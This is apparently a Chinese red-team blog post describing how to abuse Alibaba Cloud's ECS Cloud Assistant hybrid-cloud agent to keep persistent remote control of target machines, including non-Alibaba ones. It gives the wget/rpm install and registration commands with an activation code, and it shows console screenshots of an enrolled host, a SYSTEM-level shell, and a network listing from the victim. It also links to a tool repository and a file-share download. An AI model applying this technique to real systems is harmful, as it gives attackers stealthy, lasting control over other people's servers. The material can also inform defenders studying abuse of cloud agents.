

H.3 阿里云ECS云助手[适合权限维持]

2023年10月1日 16:05

By:弱鸡
笔者微信: vivo50KFCKFC
项目地址: <https://github.com/RuoJi6/Deskbypass>
博客: <https://vlog.taoyuan.cool/>
工具链接:
链接: https://pan.baidu.com/s/1XdVkJAJU_Q9rD0PMiSDZFKQ?pwd=zdpm
提取码: zdpm
--来自百度网盘超级会员V4的分享

ECS云助手 执行命令 远程连接 文件操作

实例ID / 名称	连接状态	网络地址	云助手版本	主机类型/名称	注册时间	任 操作栏
mi-hz03y2plspwqv40 aaaaaaaa-01	正常	110.52.195.105 (公) 192.168.86.130 (私有)	2.1.3.515	DESKTOP-48IQAVS	2023年10月1日 15:48:16	0 执行命令 远程连接 发送文件 注销

ECS云助手安装

云助手是专为云服务器ECS打造的原生自动化运维工具，免密码、免登录、无需使用跳板机，即可批量执行命令（Shell、PowerShell、Bat等），实现自动化运维脚本、轮询进程、安装卸载软件、启动或停止服务、安装补丁或安装安全更新等任务。

阿里云设计云助手主要用来操作阿里云服务器使用，但同时，也对非阿里云服务器提供了混合云方案，即使我们的目标不是阿里云服务器，也可以让它上线到云安全中心进行远控。

版本要求:

- Alibaba Cloud Linux 2/3及更高版本
- CentOS 6/7/8及更高版本
- CoreOS
- Debian 8/9/10及更高版本
- OpenSUSE
- RedHat 5/6/7及更高版本
- SUSE Linux Enterprise Server 11/12/15及更高版本
- Ubuntu 12/14/16/18及更高版本
- Window Server 2012/2016/2019及更高版本

安装云助手Agent

1、创建托管实例注册码

云服务器ECS-运维与监控-发送命令/文件（云助手），选择托管实例



三

阿里云

工作台

账号全部资源

华东1 (杭州)

搜索...

云服务器 ECS

应用管理

我的常用

实例与镜像

实例

镜像

网络与安全

安全组

弹性网卡

密钥对

存储与快照

云盘

快照

部署与弹性

弹性伸缩

节省计划

运维与监控

发送命令/文件 (云助手)

运维编排 OOS

自助问题排查

常用服务推荐

ECS 云服务器 / ECS 云助手

ECS 云助手

免登录、免跳板机，批量实例运维，执行命令 (Shell、Python、Perl、Powershell和Bat) 和发送文件。查看更多

ECS实例

命令执行结果

文件发送结果

命令列表

公共命令

托管实例

智能匹配 请输入您要搜索的内容

标签筛选

实例ID / 名称

实例状态

网络地址

云助手状态

暂无数据

免登录、免跳板机，批量实例运维，执行命令 (Shell、Python、Perl、Powershell和Bat) 和发送文件。查看更多

ECS实例

命令执行结果

文件发送结果

命令列表

公共命令

托管实例

智能匹配 请输入您要搜索的内容

标签筛选

注册新实例

实例ID / 名称

连接状态

网络地址

云助手版本

主机类型/名称

注

暂无数据

The screenshot shows the Aliyun Assistant interface for Linux RPM installation. At the top, there are two dropdown menus for selecting a tag key and a tag value. Below these, three tabs are visible: "Linux(.rpm)", "Linux(.deb)", and "Windows(.exe)". The "Linux(.rpm)" tab is selected and highlighted with a red box. The main content area displays a terminal window with the following commands:

```
1 sudo wget https://aliyun-assist-latest.rpm -O aliyun_assist.rpm
2 sudo rpm -ivh aliyun-assist-latest.rpm --force
3 sudo aliyun-service --register --RegionId "cn-hangzhou" \
4   --ActivationCode "a-hz@.../hdmTfVtgT" \
5   --ActivationId "556925r...E1D1EA93"
```

Below the terminal window, there are buttons for "下载" (Download) and "复制" (Copy). At the bottom, a light blue banner contains a red circle icon and the text "请复制生成的脚本并在待注册的机器上执行" (Please copy the generated script and execute it on the machine to be registered). Below this banner, there are two buttons: "生成注册码" (Generate Registration Code) and "取消" (Cancel). The "生成注册码" button is highlighted with a red box.

下载 复制

i 请复制生成的脚本并在待注册

需要管理员权限[需要等待一段时间]

1 免登录、免跳板机，批量实例运维，执行命令（Shell、Python、Perl、Powershell和Bat）和发送文件。[查看更多](#)

ECS实例

命令执行结果

文件发送结果

命令列表

公共命令

托管实例

智能匹配 请输入您要搜索的内容

Q

标签筛选

注册新实例

实例ID / 名称	连接状态	网络地址	云助手版本	主机类型/名称	注册时间	任	操作栏
mi-ha03y2o72q7diww cccccccc-01	正常	110.52.195.105 (公) 192.168.86.163 (私有)	2.1.3.515	DESKTOP-48IQAVS	2023年10月1日 15:32:29	0	<div>执行命令</div> <div>远程连接</div> <div>发送文件</div> <div>注销</div>

共1条, 每页显示20条 < 1 > 20条/页

```
nt authority\system
PS C:\Windows\system32> ipconfig

Windows IP 配置

以太网适配器 Ethernet0:

    连接特定的 DNS 后缀 . . . . . : localdomain
    本地链接 IPv6 地址 . . . . . : fe80::bf18:e8d7:2769:ecf4%7
    IPv4 地址 . . . . . : 192.168.86.163
    子网掩码 . . . . . : 255.255.255.0
    默认网关 . . . . . : 192.168.86.2
PS C:\Windows\system32>
```

PyArkClient(www.py-safe.cn)

进程

驱动模块

内核层

内核钩子

应用层钩子

设置

监控

启动信息

注册表

服务

文件

网络

调试引擎

进程	PID	协议	本地地址	本地端口	远程地址	远程端口	状态
nginx.exe	2032	Tcp	0.0.0.0	80	0.0.0.0	0	LISTENING
nginx.exe	8392	Tcp	0.0.0.0	80	0.0.0.0	0	FIN_WAIT1
nginx.exe	1100	Tcp	0.0.0.0	80	0.0.0.0	0	UNKNOWN
nginx.exe	5980	Tcp	0.0.0.0	80	0.0.0.0	0	CLOSED
svchost.exe	960	Tcp	0.0.0.0	135	0.0.0.0	0	LISTENING
System	4	Tcp	192.168.86.163	139	0.0.0.0	0	FIN_WAIT1
svchost.exe	5220	Tcp	0.0.0.0	5040	0.0.0.0	0	UNKNOWN
npm_cli.exe	10716	Tcp	127.0.0.1	9000	0.0.0.0	0	CLOSED
lmgrd.exe	6176	Tcp	127.0.0.1	27800	127.0.0.1	62385	LISTENING
lsass.exe	720	Tcp	0.0.0.0	49664	0.0.0.0	0	FIN_WAIT1
wininit.exe	556	Tcp	0.0.0.0	49665	0.0.0.0	0	UNKNOWN
svchost.exe	1284	Tcp	0.0.0.0	49666	0.0.0.0	0	CLOSED
svchost.exe	1252	Tcp	0.0.0.0	49667	0.0.0.0	0	LISTENING
svchost.exe	1936	Tcp	0.0.0.0	49668	0.0.0.0	0	FIN_WAIT1
spoolsv.exe	2636	Tcp	0.0.0.0	49669	0.0.0.0	0	UNKNOWN
services.exe	636	Tcp	0.0.0.0	49673	0.0.0.0	0	CLOSED
ugstd.exe	13240	Tcp	192.168.86.163	62381	192.168.86.163	63368	LISTENING
ugstd.exe	13240	Tcp	192.168.86.163	62381	192.168.86.163	63372	FIN_WAIT1
ugstd.exe	13240	Tcp	127.0.0.1	62383	127.0.0.1	62384	UNKNOWN
ugstd.exe	13240	Tcp	127.0.0.1	62384	127.0.0.1	62383	CLOSED
ugstd.exe	13240	Tcp	127.0.0.1	62385	127.0.0.1	27800	LISTENING
svchost.exe	3220	Tcp	192.168.86.163	63130	20.196.162.78	443	FIN_WAIT1
svchost.exe	11220	Tcp	0.0.0.0	63363	0.0.0.0	0	UNKNOWN
ugraf.exe	12132	Tcp	192.168.86.163	63368	192.168.86.163	62381	CLOSED
ugraf.exe	12568	Tcp	192.168.86.163	63372	192.168.86.163	62381	ESTABLISHED
ugraf.exe	12132	Tcp	0.0.0.0	63490	0.0.0.0	0	UNKNOWN
ugraf.exe	12568	Tcp	0.0.0.0	63492	0.0.0.0	0	UNKNOWN
AllYunDun.exe	12184	Tcp	127.0.0.1	63568	127.0.0.1	63569	CLOSED
AllYunDun.exe	12184	Tcp	127.0.0.1	63569	127.0.0.1	63568	ESTABLISHED
AllYunDun.exe	12184	Tcp	192.168.86.163	63606	106.11.248.209	80	UNKNOWN
aliyun_assist_service.exe	4476	Tcp	192.168.86.163	63756	218.244.138.221	443	UNKNOWN
aliyun_assist_service.exe	4476	Tcp	192.168.86.163	63770	218.244.138.221	443	ESTABLISHED
lsass.exe	20344	Tcp	192.168.86.163	62776	20.202.246.73	443	UNKNOWN
svchost.exe	960	Tcp	0.0.0.0	135	0.0.0.0	0	UNKNOWN

Tcp: 47, Udp: 22